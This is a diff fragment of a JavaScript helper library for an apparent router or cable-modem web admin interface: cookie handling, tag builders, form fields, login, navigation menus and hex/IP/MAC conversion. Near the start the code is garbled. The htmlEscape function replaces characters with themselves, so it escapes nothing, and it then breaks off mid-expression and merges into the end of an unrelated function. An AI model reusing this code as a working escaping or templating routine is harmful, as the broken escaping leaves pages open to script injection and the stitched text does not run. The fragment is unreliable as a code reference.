expires = "; expires=" + date.toGMTString(); + } + document.cookie = name + "=" + value + expires + "; path=/"; +} +function updateCookieExpiration(name, seconds) { + var cookie = readCookie(name); + if (!cookie) + return; + eraseCookie(cookie); + createCookie(name, cookie, seconds); +} +function readCookie(name) { + var nameEQ = name + "="; + var ca = document.cookie.split(';'); + for (var i = 0; i < ca.length; i++) { + var c = ca[i]; + while (c.charAt(0) == ' ') c = c.substring(1, c.length); + if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length); + } + return null; +} + +function eraseCookie(name) { + createCookie(name, "", -1); +} + +function htmlEscape(s) { + s = ""+s; // make sure a string + return s.replace(/&/g,'&'). + replace(/>/g,'>'). + replace(/"; + return str; + }; + var add = function () { + for (var i = 0; i < arguments.length; i++) { + var a = arguments[i]; + if (!a) + continue; + if (typeof a === "string") { + var index = a.indexOf(":"); + var key = a.substr(0, index); + var val = a.substr(index + 1); + val = val.varsub(function(s) { return s.startsWith("=") ? eval(s.substring(1)) : xlate(s); }); + def[key] = val; + } else if (typeof a == "function") { + var fname = a.toString(); + fname = fname.substring(fname.indexOf(" ") + 1, fname.indexOf("(")); + var uniquefname = getNextName(fname); + window[uniquefname] = function (e) { + _lastEvent = window["event"] ? event : e; + a(_lastEvent); + }; + def[fname] = "{ " + uniquefname + "(arguments[0]);}"; + } else if (_.isArray(a)) { + for (var j = 0; j < a.length; j++) + add(a[j]); + } else { + contents.push(a); + } + } + }; + add.apply(this, arguments); + if (contents.length) + def["contents"] = contents; + return def; + }; +} + + +$.each([ "a","abbr","acronym","address","applet","area","b","base","basefont","bdo","big","blockquote","body","br","button","caption","center","cite","code","col","colgroup","dd","del", + "dfn","dir","div","dl","dt","em","fieldset","font","form","frame","frameset","h1","h2","h3","h4","h5","h6","head","hr","html","i","iframe","img","input","ins","isindex","kbd","label", + "legend","li","link","map","menu","meta","noframes","noscript","object","ol","optgroup","option","p","param","pre","q","s","samp","script", + "select","small","span","strike","strong","style","sub","sup","table","tbody","td","textarea","tfoot","th","thead","title","tr","tt","u","ul","var" ] + , function(i, t) { + if (window["_" + t]) + throw("error _" + t + " already defined."); + window["_" + t] = buildTag(t); + +}); + +function parseLabel(label) { + var index = label.indexOf(":"); + if (index == -1) { + return { label: label, oid: "" }; + } else { + var key = label.substr(0, index); + var val = label.substr(index + 1); + //OIDs.push(val); + return { label: key, oid: val }; + } +} + +// $("body").width() + +function helpTag(label1, text) { + var t = text || helpText(label1); + afterBuild(function() { + $("#"+label1+"_image_tt").mouseenter(function(e) { + $("body").append("
"); + $("#ttip").text(t); + $("#ttip").css('z-index',"11000"); + $("#ttip").css('top', $(this).offset().top); + $("#ttip").css('left',$(this).offset().left+32); + $("#ttip").show(); + }); + $("#"+label1+"_image_tt").mouseleave(function(e) { + $("#ttip").remove(); + }); + }); + return _div("style:display:inline;", _img("id:"+label1+"_image_tt", "src:" + basePath + "i/help.png", "height:16px", "width:16px", "style:padding-left:10px;padding-right:10px;" + )); +} +// return _img("class:tipped", "src:" + basePath + "i/help.png", "height:16px", "width:16px", "style:padding-left:10px;padding-right:10px;", "title:" + helpText(label1)); + + +function inlineButton(label1, onclick) { + return _tr(_td("width:35%", "text:" + xlate(label1)), _td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick), helpTag(label1))); +} +function inlineButtonRaw(label1, onclick) { + return _tr(_td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick))); +} +function inlineButtonRaw2(label1, onclick,label2, onclick2) { + return _tr(_td(_input("type:button", "id:" + label1, "value:{{"+label1+"}}", onclick),_input("type:button", "id:" + label2, "value:{{"+label2+"}}", onclick2))); +} +function inlineButtonImage(label1, image, onclick) { + return _tr(_td("width:35%", "text:{{"+label1+"}}"), _td(_input("type:image", "id:" + label1, "src:" + image, onclick), helpTag(label1))); +} + + +function formatter(args) { + var f = { }; + f.load = function(v) { + return v === undefined || v === null ? "" : v; + }; + f.store = function(v) { + return v === undefined || v === null ? "" : v; + }; + f.validate = function(v) { + if (this.notEmpty && (""+v).length == 0) + throw xlate("%s: must have a value", f.label); + if (this.notZero && v.asInt() === 0) + throw xlate("%s: must be a positive number", f.label); + return v; + }; + f.storeAndValidate = function(v) { + return f.store(f.validate(v)); + }; + if (args) { + _.each(args, function(v, k) { + f[k] = v; + }); + } + return f; +} + +function textFormatter(args) { + var o = formatter(args); + o.load = function(v) { + v = ( v === undefined || v === null) ? "" : v; + if (v && isHexString(v) && v.endsWith(" 00")) { // strip improper null term + v = v.substr(0, v.length-3); + v = hexToString(v); + } + return v; + }; + return o; +} + + + + + +function text(label1, fmt, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + // afterBuild(function() { + // $("#"+label1).bind("change", function() { + // adirty[label1] = $("#"+label1).valOrCheckd(); + // }); + // }); + if (f.store) + afterApply(function() { + if (ag[label1] !== undefined) { + if (!$("#"+label1).attr("disabled")) { + var v =(f.validate($("#" + label1).valOrChecked())); + ag.dirty[label1] = ag[label1] !== v; + if (ag.dirty[label1]) + $.log("dirty "+label1+" "+ag[label1]+" "+v); + ag[label1] = f.store(v); + } + } else ag.dirty[label1] = true; + + }); + var type = label1.indexOf("Password") != -1 ? "password" : "text"; + if (label1 == "Keystring") + type = "password"; + + if (f.password) + type = "password"; + f.label = xlate(label1); + ag[label1] = f.load ? f.load(ag[label1]) : ag[label1]; + return _tr(_td("width:35%", "text:{{"+label1+"}}"), _td(_input("type:" + type, "id:" + label1, "value:" + htmlEscape(""+ag[label1]), + (f.size ? "size:" + f.size : null)), helpTag(label1, helpText))); +} +function text2(label1, fmt, sepText, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + var l = parseLabel(label1); + if (f.store) + afterApply(function() { + if (ag[label1] !== undefined) { + var v1 = (f.validate($("#" + label1).valOrChecked())); + ag.dirty[label1] = ag[label1] !== v1; + ag[label1] = f.store(v1); + } else ag.dirty[label1] = true; + if (ag[label1 + "_1"] !== undefined) { + var v2 = (f.validate($("#" + label1 + "_1").valOrChecked())); + ag.dirty[label1 + "_1"] = ag[label1 + "_1"] !== v2; + ag[label1 + "_1"] = f.store(v2); + } else ag.dirty[label1 + "_1"] = true; + }); + ag[label1] = f.load(ag[label1]); + ag[label1 + "_1"] = f.load(ag[label1 + "_1"]); + f.label = xlate(label1); + + return _tr(_td("width:35%", "text:{{" + label1 + "}}"), + _td(_input("type:text", "id:" + l.label, (f.size ? "size:" + f.size : null), "value:" + htmlEscape(""+ag[label1])), _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), _input("type:text", (f.size ? "size:" + f.size : null), "id:" + l.label + "_1", "value:" + htmlEscape(""+ag[label1 + "_1"])), helpTag(label1, helpText))); +} +function rotext(label1, fmt) { + if (technicianOnly(label1) && !isTechnician()) + return null; + var f = fmt ? fmt : formatter(); + var l = parseLabel(label1); + ag[label1] = f.load ? f.load(ag[label1]) : ag[label1]; + + return _tr(_td("width:35%", "text:{{" + label1 + "}}"), _td(_input("type:text", "id:" + l.label, (f.size ? "size:" + f.size : null), "class:read_only", "disabled:disabled", "value:" + htmlEscape(ag[label1])), helpTag(label1))); +} +function snmpText(label1, val, size) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:text", "class:read_only", "disabled:disabled", "value:" + val, + (size !== undefined ? "size:" + size : null)))); + +} +var snmpTextEditId = 0; +function snmpTextEdit(label1, val, size) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("id:snmpTextEdit"+(snmpTextEditId++),"type:text","value:" + val, + (size !== undefined ? "size:" + size : null)))); +} +function snmpTextArea(label1, val) { + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_textarea("rows:6", "cols:50", "class:read_only", "disabled:disabled", "text:" + val + ))); + +} + + +function snmpFieldset(label1, contents) { + return _div("id:" + label1, _h4("text:{{" + label1+"}}"), _table("class:common_table", _tbody($.makeArray(arguments).slice(1)))); +} + +function form(label1, label2, contents) { + return _div(_div("class:description", _h3("text:{{" + label1+"}}"), _div("text:{{" + label2+"}}")), + //_div("id:loading_distractor" , "style:display: none;", + //"style:position:absolute;left:300px;top:350px;z-index:9;", + //_span(_img("src:i/distractor.gif"))), + $.makeArray(arguments).slice(2), _br(), _br()); +} + +function fieldset(label1, contents) { + if (technicianOnly(label1) && !isTechnician()) + return null; + if (!fieldsetVisible(label1)) + afterBuild(function() { $("#" + label1).hide(); }); + return _div("id:" + label1, _h4("text:{{" + label1+"}}"), _table("class:common_table", _tbody($.makeArray(arguments).slice(1)))); +} +function checkbox(label1, onchange, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterApply(function() { + if (ag[label1] !== undefined) { + var v = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] != v; + ag[label1] = v; + } else ag.dirty[label1] = true; + }); + + //checkboxItem(label1); + var l = parseLabel(label1); + var checked = ag[label1]; + + if (checked) + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:checkbox", "id:" + l.label, "checked:true", onchange), helpTag(label1, helpText))); + else return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_input("type:checkbox", "id:" + l.label, onchange), helpTag(label1, helpText))); +} + +// nb: values must be get set explicitly +function checkbox4(label1, label2,label3, label4) { + if (technicianOnly(label1) && !isTechnician()) + return null; + + function buildCheck(name) { + var al = [ ]; + if (name) { + al.push(_input("type:checkbox", "name:"+name, "id:"+name)); + al.push(_label("for:"+name, "text:     "+name)); + } + return al; + } + + return _tr(_td("width:25%", buildCheck(label1)), _td("width:25%", buildCheck(label2)),_td("width:25%", buildCheck(label3)), _td("width:25%", buildCheck(label4))); +} + + +function select(label1, vals, onchangefunc, selectedValue, helpText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + vals = _.without(vals, null); + var dirty = false; + // selectItem(label1); + var l = parseLabel(label1); + var options = []; + var value = selectedValue || ag[label1]; + var haveSelected = _.any(vals, function(v) { return v.split(":")[0] == value; }); + var options = _.map(vals, function f(v, index) { + v = v.split(":"); + if (v[0] == value || (!haveSelected && index ===0)) + return _option("value:" + v[0], "text:" + htmlEscape(v[1]), "selected:selected"); + else return _option("value:" + v[0], "text:" + htmlEscape(v[1])); + }); + afterApply(function() { + if (ag[label1] !== undefined) { + var v = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] !== v; + ag[label1] = v; + } else ag.dirty[label1] = true; + }); + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_select("id:" + l.label, options, function onchange() { + dirty = true; + if (onchangefunc) + onchangefunc(); + }), helpTag(label1, helpText))); +} +function select2(label1, vals, onchange, sepText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterApply(function() { + if (ag[label1] !== undefined) { + var v1 = $("#" + label1).valOrChecked(); + ag.dirty[label1] = ag[label1] !== v1; + ag[label1] = v1; + } ag.dirty[label1] = true; + if (ag[label1 + "_1"] !== undefined) { + var v2 = $("#" + label1 + "_1").valOrChecked(); + ag.dirty[label1+ "_1" ] = ag[label1 + "_1"] !== v2; + ag[label1+ "_1"] = v2; + } ag.dirty[label1+"_1"] = true; + }); + vals = _.without(vals, null); + var l = parseLabel(label1); + var options = []; + for (var i = 0; i < vals.length; i++) { + var index = vals[i].indexOf(":"); + options[i] = _option("value:" + vals[i].substr(0, index), "text:" + vals[i].substr(index + 1)); + } + return _tr(_td("width:35%", "text:{{" + label1+"}}"), _td(_select("id:" + l.label, options, onchange), + _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), + _select("id:" + l.label + "_1", options, onchange), helpTag(label1))); +} + +function select2Optional(label1, vals, onchange, sepText, optionalCheckText) { + if (technicianOnly(label1) && !isTechnician()) + return null; + afterBuild(function() { + $("#" + l.label + "div").hide(); + }); + afterApply(function() { + if (ag[label1] !== undefined) { + ag[label1 + "_Checked"] = $("#" + label1 + "check").valOrChecked(); + } + if (ag[label1] !== undefined) { + ag[label1] = $("#" + label1).valOrChecked(); + } + if (ag[label1 + "_1"] !== undefined) { + ag[label1 + "_1"] = $("#" + label1 + "_1").valOrChecked(); + } + }); + vals = _.without(vals, null); + var l = parseLabel(label1); + var options = []; + for (var i = 0; i < vals.length; i++) { + var index = vals[i].indexOf(":"); + options[i] = _option("value:" + vals[i].substr(0, index), "text:" + vals[i].substr(index + 1)); + } + return _tr(_td("width:35%", "text:{{" + label1+"}}"), + _td(_div("style:height:24px;width:100px;", _input("id:" + l.label + "_Checked", "type:checkbox", "checked:checked", + function onclick() { + if (!$("#" + l.label + "_Checked").valOrChecked()) { + $("#" + l.label + "div").show(); + } else { + $("#" + l.label + "div").hide(); + } + } + +// function onchange() { +// if (!$("#" + l.label + "_Checked").valOrChecked()) { +// alert("show "+("#" + l.label + "div")); +// $("#" + l.label + "div").show(); +// } else { +// alert("hide "+("#" + l.label + "div")); +// $("#" + l.label + "div").hide(); +// } +// } + ), _b("text:" + optionalCheckText)), + // + _div("id:" + l.label + "div", + _select("id:" + l.label, options, onchange), + _b("text:" + (sepText !== undefined ? " " + sepText + " " : "")), + _select("id:" + l.label + "_1", options, onchange), helpTag(label1)))); +} +function ApplyButton() { + return buttons("{{Apply}}", function onclick(event) { + Apply(); + }); +} + +function buttons() { + var buttons = []; + for (var i = 0; i < 4; i++) + if (arguments[i * 2]) { + buttons.push(_input("type:button", "value:" + arguments[i * 2], "class:submitBtn", arguments[i * 2 + 1])); + } + + return _div(_br(), buttons); +} +function dialog(id, title, elements, okName, okAction) { + var buttonsDef = { }; + buttonsDef[xlate("Cancel")] = function() { + $(this).dialog("close"); + }; + buttonsDef[xlate(okName)] = function() { + try { + okAction.apply(this); + } catch (e) { + handleError(e); + } + }; + window["dialog_" + id] = { + autoOpen: false, width:500, modal: true, + dialogClass: "fieldgrp", + buttons: buttonsDef + }; + + return _div("id:" + id, "title:" + xlate(title), _table("class:common_table", _tbody(elements))); +} +function prepareDialog(id) { + $("#" + id).dialog(window["dialog_" + id]); +} + +function getURLArgs() { + var pos = location.href.lastIndexOf('?'); + if (pos == -1) + return ""; + var s = decodeURI(location.href.substr(pos + 1)).split("&"); + var page = s[0]; + _.each(s, function(a) { + if (a.startsWith("debug")) { + debug(a.substr(5)); + } + }); + return page; +} + +function getPage() { + var v = window.location.pathname; + if (v.startsWith("/")) + v = v.slice(1); + return v; +} + + +function goRebuild(tag) { + window.event.preventDefault(); + rebuild(tag); + // window.open(getPage()+'?'+tag, "_self"); +} +function go(tag) { + window.open(getPage() + '?' + tag, "_self"); +} + +function buildShell() { + $.log("buildShell"); + + if (typeof noMenus !== "undefined" && noMenus) { + var shell = _div("id:wrapper", + _div("id:content", + _div("id:tabs", + _div("id:first", + _div("id:placeholder", + _table(_tbody(_tr( + _td(_div("id:mainpage")))))) + ))), + _div("id:walk-dialog", "title:", "style:display: none;"), + _div("id:action-dialog", "title:", "style:display: none;"), + _div("id:error-dialog", "title:", "style:display: none;"), + _div("id:wait-dialog", "title:", "style:display: none;", "text:Applying Changes...") + ); + $(shell.toHTML()).appendTo("body"); + + + $("body").css("background", "transparent"); + $("#wrapper").css("background", "transparent"); + $("#footer").css("background", "transparent"); + $("#wrapper").css("width", "650"); + + + return; + } + + //id page children + var m = menu(); + if (!isLoggedIn()) { + m = [ + { id: "Login", page: "login", children: [ + { id: "Login", page:"login" } + ] } + ]; + } + + var hash = isLoggedIn() ? (getURLArgs() || m[0].page) : "login"; + + var index = 0; + + function sel(p) { + return getPage() == p ? "class:selected" : null; + } + + // var topNav = _ul("id:nav", + // _li(_a(sel("router.html"), "href:router.html", "text:Wireless")), // "href:router.html", + // _li(_a(sel("cm.html"), "href:cm.html", "text:HSD" )), // "href:router.html", + // // _li(_a("href:voice.html", "text:Voice")), // "class:end" + // //_li(_a("href:phy.htm", "class:end", "text:Voice")), + // _li(_a("href:"+getPage(), "text:Logout", function onclick() { + // logout(); + // refresh(); + // })) + // ); + var hsd = menuVisible("HSD"); + var topNav = getAttr("CLASSICCM") ? _ul("id:nav", + _li(_a("class:selected", "href:#", "text:{{Wireless}}")), // "href:router.html", + + hsd ? _li(_a(getAttr("CLASSICCM") ? ("href:"+ "phy.htm") : ("href:cm.html"), "text:{{HSD}}", "class:end")) : null, // "href:router.html", + // _li(_a("href:voice.html", "text:Voice")), + //_li(_a("href:phy.htm", "class:end", "text:Voice")), + _li(_a("href:router.html", "text:{{Logout}}", function onclick() { + logout(true); + refresh(); + })) + ) : _ul("id:nav", + _li(_a(sel("router.html"), "href:router.html", "text:{{Wireless}}")), // "href:router.html", + hsd ? _li(_a(sel("cm.html"), "href:cm.html", "text:{{HSD}}")) : null, // "href:router.html", + // _li(_a("href:voice.html", "text:Voice")), // "class:end" + //_li(_a("href:phy.htm", "class:end", "text:Voice")), + _li(_a("href:" + getPage(), "text:{{Logout}}", function onclick() { + logout(true); + refresh(); + })) + ); + + var mainMenu = [ ]; + var subMenu = [ ]; + $.each(m, function(k, v) { + if (!v) + return; + if (v.page == hash) { + mainMenu = v; + subMenu = v; + } else { + $.each(v.children, function(k, vv) { + if (vv && vv.page == hash) { + mainMenu = v; + subMenu = vv; + } + }); + } + }); + + $.log(mainMenu.id); + $.log(subMenu.id); + + + var sideNav = _div("id:navigation_bar", + _h1("text:{{" + mainMenu.id+"}}"), + _ul("class:sidenav", + $.map(mainMenu.children ? mainMenu.children : [], function(m) { // "class:current" class:selected + if (!m || !m.page) + return null; + if (m == subMenu) + return _li(_a("href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "class:current", "onclick: go('" + m.page + "');")); + else return _li(_a("href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "onclick: go('" + m.page + "');")); + }), + _div("style:VISIBILITY: hidden", "id:version", "text:1.0") + ), + _div("id:sidenav_bottom")); + + + var shell = _div("id:wrapper", + _div("id:header", _img("src:i/logo.gif", "id:logo"), topNav), + // _div("id:header", _img("src:logo_MSO.png", "id:logo", "width:150px"), topNav), + _div("id:content", + _div("id:tabs", + _ul("class:tabNavigation", + $.map(m, function(m) { // "class:current" + if (!m) + return null; + var selected = _.include(_.pluck(m.children, "page"),base) ? "class:selected" : ""; + return _li(_a(selected, "href:" + getPage() + "?" + m.page, "text:{{" + m.id+"}}", "onclick: go('" + m.page + "');")); + }) + ), + _div("id:first", + _div("id:placeholder", + _table(_tbody(_tr( + _td("width:200px", sideNav), + _td(_div("id:mainpage")))))) + ))), + _img("src:i/content_bottom.jpg", "width:973", "height:6", "complete:complete"), + _div("id:footer"), + _div("id:walk-dialog", "title:", "style:display: none;"), + _div("id:action-dialog", "title:", "style:display: none;"), + _div("id:error-dialog", "title:", "style:display: none;"), + _div("id:wait-dialog", "title:", "style:display: none;", "text:Applying Changes...") + + ) + ; + $(shell.toHTML()).appendTo("body"); + // $(header.toHTML()).appendTo("#header"); + // $(new Menu().build().toHTML()).appendTo($("#sidebar")); + + // make sure menus fit + $(".sidenav a").truncateTextToFit(); +} + + +function afterBuild(func) { + _afterBuild.push(func); +} +function afterBuildOnce(func) { + if (!_.include(_afterBuild, func)) + _afterBuild.push(func); +} + +function afterApply(func) { + _afterApply.push(func); +} + +// alog +function addCustomSetting(s) { + var ud = snmpGet1(arCustomSettings.oid+".0") || ""; + if (!ud.contains(s+"!")) { + ud += s+"!"; + snmpSet1(arCustomSettings.oid+".0", ud, "4"); + } +} + + +function handleError(e) { + if (e === "unauthorized") { + refresh(); + return; + } + if (e["label"]) + alert(xlate("Could not set ") + "\"" +xlate(e["label"])+"\""); // todo: tranlaset + else if (canXlate(e)) + alert(xlate(e)); + else if (_.isString(e)) + alert(e); + else alert(xlate("Error")); // todo: tranlaset +} + +function DoApply() { + try { + $.each(_afterApply, function (k, v) { + v(); + }); + if (typeof storeData === "undefined") + return; + storeData(); + store(); + refresh(); + } catch (e) { + if (e == "cancel") + ; // nothing + else handleError(e); + } finally { + closeWaitDialog() + } +} + +function Apply() { + openWaitDialog(); + setTimeout(DoApply, 10); +} + + + +function loginbuild() { + ag = { }; + ag.UserName = isSuddenlink() ? "" : "admin"; + ag.Password = ""; + doLogin = function() { + login($("#UserName").val(), $("#Password").val()) + if (!isLoggedIn()) { + alert(xlate("Invalid Username or Password!")); + } + refresh(); + }; + afterBuild(function() { + $(document).keypress(function(event){ + var keycode = (event.keyCode ? event.keyCode : event.which); + if(keycode == '13'){ + doLogin(); + } + }); + }); + return form("Login", "LoginText", + fieldset("Login", + [text("UserName"), + text("Password") + ]), + buttons("{{Apply}}", function onclick() { + doLogin(); + })); +} + +function disablePage() { + $('#mainpage *').attr('disabled', true); + $('.submitBtn').hide(); + if ($("#LAN")) { // make sure we can see lan change + $("#LAN").parents().removeAttr('disabled'); + $("#LAN ").removeAttr('disabled'); + $("#LAN").children().removeAttr('disabled'); + $("#LAN").show(); + } + if ($("#BSS")) { // make sure we can see lan change + $("#BSS").parents().removeAttr('disabled'); + $("#BSS").removeAttr('disabled'); + $("#BSS").children().removeAttr('disabled'); + $("#BSS").show(); + } +} + + + +function enableItem(id) { + $('.submitBtn').show(); // make sure we can see + $('.submitBtn').removeAttr('disabled'); // make sure we can see + $('.submitBtn').parent().removeAttr('disabled'); + if ($(id)) { + $(id).parents().removeAttr('disabled'); + $(id).removeAttr('disabled'); + $(id).children().removeAttr('disabled'); + $(id).show(); + } +} + + + +function render2() { + $.each(_afterBuild, function(k, v) { + v(); + }); + + if ($("#dialog")) + prepareDialog("dialog"); + if ($("#dialog1")) + prepareDialog("dialog1"); + if ($("#dialog2")) + prepareDialog("dialog2"); + + $("body").ajaxError(function(event, request, settings) { + // alert("Error Requesting Data"); + // refresh(); + }); + + if (!pageEnabled(base)) { + disablePage(); + } + if (isLoggedIn() && (!submenuVisible(base) || !menuMap[base])) { + $('#mainpage').hide(); + } + +} + +function render() { + + buildShell(); + var def = isLoggedIn() ? build() : loginbuild(); + $(def.toHTML()).appendTo($("#mainpage")); + + + if (ag) + ag.dirty = { }; + + $(render2()); +} + + +function getSelectedLAN() { + if (!isTechnician() || isMG()) + return getLan()[0]; + return getSessionStorage("ar_selected_lan") || getLan()[0] ; +} +function selectLan() { + if (!isTechnician() || isMG()) + return null; + ag.LAN = getSelectedLAN(); + var slans = _.map(getLan(), function (v) { + return "" + v + ":" + getLanName(v) + }); + return fieldset("LANSegment", select("LAN", slans, function onChange() { + $.log("selected lan set " + $("#LAN").val()); + setSessionStorage("ar_selected_lan", $("#LAN").val()); + refresh(); + })); +} + +function getSelectedBss() { + if (!isTechnician() || isMG()) + return getBss()[0]; + return getSessionStorage("ar_selected_bss") || getBss()[0] ; +} + +function selectBss() { + if (!isTechnician() || isMG()) + return null; + ag.BSS = getSelectedBss(); + var slans = _.map(getBss(), function (v) { + return "" + v + ":" + getBssName(v) + }); + return fieldset("Wireless", select("BSS", slans, function onChange() { + $.log("selected bss set " + $("#BSS").val()); + setSessionStorage("ar_selected_bss", $("#BSS").val()); + refresh(); + })); +} + + +function sectionIndex() { + var a = new Array(); + for (var i = 0; i < 99; i++) { + if (arguments[i * 3]) { + var li; + (function(id1, id2, url) { + li = _li(_a("href:" + url, _label("class:item", "text:{{" + id1 +"}}"), + _br(), _label("text:{{" + id2+"}}"), _br() + ), _br()); + })(arguments[i * 3], arguments[i * 3 + 1], arguments[i * 3 + 2]); + a.push(li); + } else break; + } + return _ul(a); +} + +function canXlate(id) { + return _xlate [id]; +} +function xlate(id, arg1, arg2, arg3) { +// if (debug()&8) +// return "{{"+id+"}}"; + var o = _xlate [id]; + + if ((debug()&8) && !o) + o = "@@"+id; + + if (!o) { + o = id.replace("_tt",""); + if (_xlate[o]) + o = _xlate[o]; + } +// if (!o) +// alert("no def for "+o); + if (arg1 !== undefined) + o = o.replace("%s",arg1); + if (arg2 !== undefined) + o = o.replace("%s",arg2); + if (arg3 !== undefined) + o = o.replace("%s",arg3); + return o; +} + +function helpText(id) { + return xlate(id+"_tt"); +} + +function technicianOnly(id, value) { + if (value !== undefined) + _technician[id] = value; + return _technician[id] === undefined ? false : _technician[id]; +} + + +function updateDisabledState(checkboxsel, inputsel, invert) { + var on = $(checkboxsel).attr("checked") && !$(checkboxsel).attr("disabled"); + if (invert) + on = !on; + var id = $(checkboxsel).attr("id"); + $(inputsel).each(function() { + if ($(this).attr("id") != id && !$(this).hasClass(".read_only")) { + if (on) { + $(this).removeClass("input_disabled"); + $(this).removeAttr("disabled"); + } else { + $(this).addClass("input_disabled"); + $(this).attr("disabled", "disabled"); + } + } + }); + $(inputsel).each(function() { + if ($(this).attr("id") != id && !$(this).hasClass(".read_only")) { + if ($(this).is(':checkbox')) { + $(this).trigger("change"); + } + } + }); +} + +function setupCheck(checkboxsel, inputsel, invert) { + function updater() { + if (invert) + updateDisabledState(checkboxsel, inputsel, true); + else updateDisabledState(checkboxsel, inputsel); + } + afterBuild(function() { + $(checkboxsel).bind("click", updater); + updater(); + }); +} + + +function todToInt(day1, day2, hour1, hour2) { + day1 = day1.asInt(); + day2 = day2.asInt(); + hour1 = hour1.asInt(); + hour2 = hour2.asInt(); + + if (hour1 >= hour2) + throw xlate("No hours of the day selected. Second hour must be after the first."); + var todDay = 0; + var todTime = 0; + var i = 0; + if (day1 > day2) { + for (i = day1; i <= 6; i++) + todDay |= (1 << i); + for (i = 0; i <= day2; i++) + todDay |= (1 << i); + } else { + for (i = day1; i <= day2; i++) + todDay |= (1 << i); + } + todDay &= 0x7F; + if (hour1 > hour2) { + for (i = hour1; i <= 23; i++) + todTime |= 1 << i; + for (i = 0; i <= hour2; i++) + todTime |= 1 << i; + } else { + for (i = hour1; i < hour2; i++) { + var shift = (i === 0) ? (1 << 0) : (1 << (i)); + todTime |= shift; + } + } + return (todTime << 7) | todDay; +} +function lowestBitSet(tod, l, h) { + tod = parseInt(tod,10); + l = parseInt(l,10); + h = parseInt(h,10); + for (var i = l; i <= h; i++) + if (tod & (1 << i)) + return i; + return l; +} +function highestBitSet(tod, l, h) { + for (var i = h; i >= l; i--) + if (tod & (1 << i)) + return i; + return h; +} + +function todToTimeString(tod, s_min, e_min) { + tod = parseInt(tod,10); + var l = (lowestBitSet(tod, 7, 30) - 7); + var h = (highestBitSet(tod, 7, 30) - 7); + var l_min = (s_min==undefined? ":00" : s_min) + var h_min = (e_min==undefined? ":00" : e_min) + + var s = l.asString(2) + ":"+l_min +"-" + (h + 0).asString(2) + ":"+h_min; + if (s == "00:00-24:00") + s = "All Day"; + return s; +} +function todToDayString(tod) { + var day = ""; + tod = parseInt(tod,10); + if ((tod & 0x07F) === 0x07F) + return "Every Day"; + tod = tod & 0x7F; + for (var i = 0; i <= 6; i++) + if (tod & (1 << i)) + day += days[i].substr(2) + ","; + if (day.endsWith(",")) + day = day.substr(0, day.length - 1); + return day; +} + + +function refresh() { + location.reload(true); + window.open(location.href, "_self"); + + // location.reload(true); + // window.open(location.href, "_self"); + +} + + + +function isHexString(s) { + if (s.length === 0) + return false; + var pos = 0; + if (s.charAt(pos) == '$') + pos++; + while (pos < s.length) { + if ("01234567789ABCDEFabcdef ".indexOf(s.charAt(pos)) == -1) + return false; + else pos++; + } + return true; +} + +function parseHexString(hs) { + if (!isHexString(hs)) + return [ ]; + var a = [ ]; + var pos = 0; + if (hs.charAt(pos) == '$') + pos++; + + while (pos < hs.length) { + if (hs.charAt(pos) == ' ') { + pos++; + continue; + } + if (hs.length < 2) + return [ ]; + var num = parseInt(hs.charAt(pos), 16) * 16 + parseInt(hs.charAt(pos + 1), 16); + if (isNaN(num)) + return [ ]; + pos += 2; + a.push(num); + } + return a; +} +function toHexString(a) { + var s = "$"; + _.each(a, function(d) { + if (d < 16) s += "0"; + s += Number(d).toString(16).toUpperCase() + }); + return s; +} + +function stringToHex(s) { + var v = ""; + for (var i = 0; i < s.length; i++) + v += toHexDig(s.charCodeAt(i), 2); + return v; +} +function hexToString(s) { + return String.fromCharCode.apply(this, parseHexString(s)); +} +function toHexDig(s, len) { + s = Number(s).toString(16).toUpperCase(); + if (s.length < len) + s = "00000000000000000000000000".substr(0, len - s.length) + s; + return s; +} + + +function ipToHex(v, sep) { + if (sep === undefined) + sep = ""; + sep = ""; + var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/; + if (!reg.test(v)) + return "$" + "00" + sep + "00" + sep + "00" + sep + "00"; + var a = v.split("."); + return "$" + toHexDig(a[0], 2) + sep + toHexDig(a[1], 2) + + sep + toHexDig(a[2], 2) + sep + toHexDig(a[3], 2); +} +function hexToIp(v) { + if (!v) + return "0.0.0.0"; + if (!v.startsWith("$") && v.length === 4) + v = convertASCIIStringToHexString(v); + else if (!v.startsWith("$")) + return v; + var reg = /\$?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?/; + if (!reg.test(v)) + return "0.0.0.0"; + var s = ""; + s += parseInt(RegExp.$1, 16) + "."; + s += parseInt(RegExp.$2, 16) + "."; + s += parseInt(RegExp.$3, 16) + "."; + s += parseInt(RegExp.$4, 16); + return s; +} + +function macToHex(v) { + v = v.toUpperCase(); + var reg = /^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/; + if (!reg.test(v)) + return "$" + "000000000000"; + //var a = v.split(":"); + return "$" + v.replace(/:/g, ""); +} +function hexToMac(v) { + if (!v) + return ""; + if (!v.startsWith("$") && v.length === 6) + v = convertASCIIStringToHexString(v); + if (v.startsWith("$")) + v = 